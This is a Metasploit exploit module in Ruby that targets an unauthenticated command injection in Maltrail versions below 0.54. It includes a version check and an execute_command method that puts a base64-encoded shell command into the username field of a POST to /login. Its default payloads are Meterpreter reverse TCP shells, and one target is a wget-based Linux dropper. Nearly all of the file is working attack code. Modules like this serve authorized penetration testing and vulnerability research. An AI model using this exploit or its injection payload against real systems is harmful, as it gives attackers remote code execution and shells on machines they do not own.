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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Maltrail Unauthenticated Command Injection',
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        'Description' => %q{
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          Maltrail is a malicious traffic detection system, utilizing publicly
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          available blacklists containing malicious and/or generally suspicious trails.
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          The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
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          The `subprocess.check_output` function in `mailtrail/core/http.py` contains
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          a command injection vulnerability in the `params.get("username")` parameter.
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          An attacker can exploit this vulnerability by injecting arbitrary OS commands
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          into the username parameter. The injected commands will be executed with the
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          privileges of the running process. This vulnerability can be exploited remotely
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          without authentication.
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          Successfully tested against Maltrail versions 0.52 and 0.53.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Ege BALCI <egebalci[at]pm.me>', # msf module
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          'Chris Wild', # original PoC, analysis
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        ],
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        'References' => [
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          ['EDB', '51676'],
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          ['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
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          ['URL', 'https://github.com/stamparm/maltrail/issues/19146']
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        ],
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        'Platform' => ['unix', 'linux'],
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        'Privileged' => false,
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
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              }
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :linux_dropper,
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              'CmdStagerFlavor' => :wget,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
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              }
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            }
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          ]
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        ],
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        'DisclosureDate' => '2023-07-31',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8338),
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        OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path),
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      'method' => 'GET'
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    )
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    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
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    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
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    version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}
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    if version < Rex::Version.new('0.54')
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      return CheckCode::Appears("Version Detected: #{version}")
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    end
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    CheckCode::Safe("Version Detected: #{version}")
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  end
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  def execute_command(cmd, _opts = {})
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    send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body
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      'uri' => normalize_uri(target_uri.path, 'login'),
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      'method' => 'POST',
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      'headers' => {
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        'ctype' => 'application/x-www-form-urlencoded'
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      },
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      'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +
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    )
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  end
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  def exploit
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    case target['Type']
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    when :unix_cmd
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      print_status("Executing #{target.name}...")
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      execute_command(payload.encoded)
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    when :linux_dropper
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      print_status("Executing #{target.name}...")
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      execute_cmdstager
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    end
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  end
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end
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